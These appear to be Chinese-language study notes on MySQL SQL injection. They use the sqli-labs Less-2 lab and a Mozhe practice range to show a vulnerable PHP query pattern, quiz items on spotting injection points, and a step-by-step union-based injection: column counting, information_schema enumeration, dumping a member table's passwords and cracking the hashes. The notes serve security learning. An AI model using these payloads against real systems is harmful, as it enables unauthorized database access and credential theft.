目录
数据库类型—Mysql
SQL注入安全测试中危害
SQL注入产生原理分析
MYSQL一些语句演示:
SQL产生条件:
简要SQL注入习题:
搭建第一个SQL注入学习靶场环境
MYSQL注入—xlaodl
MYSQL数据库
数据库详细了解
小知识:
如何判断注入点?
一、老办法:
二、最舒服的办法:(操作窗口执行)
union联合注入操作流程
判断注入
一、猜解列名数量(字段数) order by 错误与正确数值
二、猜解准备
三、信息收集:
知识点:
SQL直接去对数据库中的数据进行操作(查询,更新,删除)
SQL注入不同注入点是有条件的(权限)
简易代码分析SQL注入原理
Less-2 **Error Based- Intiger**
Welcome Dhakkan
";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
当你访问的时候id为1,则对应代码里边的id也为1,当代码里边的id对应等于X时,访问时候的id也对应等于X
注意:第一到第四步在处理得当的时候不会出现注入点,处理不得到当候会出现注入点
SQL注入就是注入SQL语句。往SQL语句中注入。SQL语句被更改或者改写会打扰一些操作
一、查询一下email邮箱及目录
二、在查询语句中注入其他SQL语句就会查询到其他表的数据(如果其他表如果是 管理员,就有可能查到管理员的账户密码)
http://localhost/sqli-labs-master/Less-2/index.php?id=2//访问这个地址的时候就是图三(网页)
SELECT * FROM users WHERE id=2 LIMIT 0,1//执行语句的时候就是图三(命令窗口)
http://localhost/sqli-labs-master/Less-2/index.php?id=-2
SELECT * FROM users WHERE id=-2 LIMIT 0,1
http://localhost/sqli-labs-master/Less-2/index.php?id=-2 union select 1,email_id,3 from emails//访问这个地址的时候就是图一
SELECT * FROM users WHERE id=-2 union select 1,email_id,3 from emails LIMIT 0,1;//执行语句的时候就是图二
图一:
图二:
图三:
注入:其实就是通过参数传递一个数据过去(例如上边的2),数据拼接到SQL语句中,然后就可以依据此(跟2一起)拼接一些恶意的SQL语句,来实行一些恶意SQL语句的执行效果
SQL注入:通过就是将一些查询的SQL语句通过参数传递到原有的SQL语句中,实现自定义的一个查询
①.SQL语句在定义时候有变量
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
②.SQL语句中存在可控变量
$id=$_GET['id'];
③.可控变量可以代入数据库查询
④.变量过滤不严谨或者没有过滤
1.可能存在注入编号选项有哪几个?(1,2,3,4)
a.www.xiaodi8.com/index.php?id=8
b.www.xiaodi8.com/?id=10
c.www.xiaodi8.com/?id=10&x=1
d.www.xiaodi8.com/index.php
解析:
a:存在参数
b:没写index.php并不代表没有,只是默认
c:只是多了一个参数,前边注入,后边注入选择不同
d:第四个有可能是post注入.
2.参数x有注入,以下哪个注入测试正确?(b,c)
a.www.xiaodi.com/news.php?y=1 and l=1&x=2
b.www.xiaodi.com/news.php?y=1&x=2 and l=1
c.www.xiaodi.com/news.php?y=1 and 1=1&x=2 and l=1
d.www.xiaodi.com/news.php?xx=1 and 1=1&xxx=2 and l=1
解析:X有注入,所以注入语句应该写在x后边;?的意思参数,&的意思是连接;l=1相当于是注入语句
3.http://www.krismile.net/index.php?id=52&page=1 如果id参数存在注入,请实现:
http://www.krismile.net/index.php?id=52 and l=1 &page=1
http://www.krismile.net/index.php?page=1 &id=52 and l=1
Sqlilabs注入靶场搭建简要使用. 注意:phpstudy的php版本;
学习第一个数据库MYSQL简要注入;
数据库用户不是电脑的管理员用户是数据库的管理用户,专门管理数据库;
数据库A=网站A(1)
表名(2)
列名(3)
数据(4)
获取数据(1-2-3-4)
数据库B=网站B
...........
数据库C=网站C
.............
一个数据库代表一个网站
use 数据库名//使用数据库
show tables//查询数据库的所有表名
select * from rj2hbr7i0n;//查看数据库中列名,数据
and l=1 页面正常
and l=1 页面错误
可能存在注入点;
注:404错误——跳转(网站对输入的东西有检测,大部分没有漏洞)
演示网站:
https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
http://124.70.22.208:48857/new_list.php?id=1 order by 4//网站访问正常
http://124.70.22.208:48857/new_list.php?id=1 order by 5//网站访问正常
http://124.70.22.208:48857/new_list.php?id=1%20union%20select%201,2,3,4//网站访问正常
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,2,3,4//网站访问错误,发现错误显示的是2,3
1.哪个数字报错,你就在那个数字查询
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,database(),version(),4查询数据库名字,版本
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4//查询数据库用户名,操作系统
2.查询指定数据库名mozhe_Discuz_StormGroup下的表明信息
http://124.70.22.208:48857/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
3.查询指定表名StormGroup_member下的表明信息
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27
4.查询指定数据
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member
5.在对获取到的密码进行解密:
https://www.cmd5.com/ //dsan13
1.在MYSQL5.0版本以上mysql存在一个自带数据库名为informtion_schema,他是一个存储记录所有数据库名,表明,列名的数据库,也相当于可以通过查询他获取指定数据库下的表名列名信息.
2.数据库中符号“.”代表下一级,如xiaodi.user表示数据库下的user表名。
3.一些代码含义: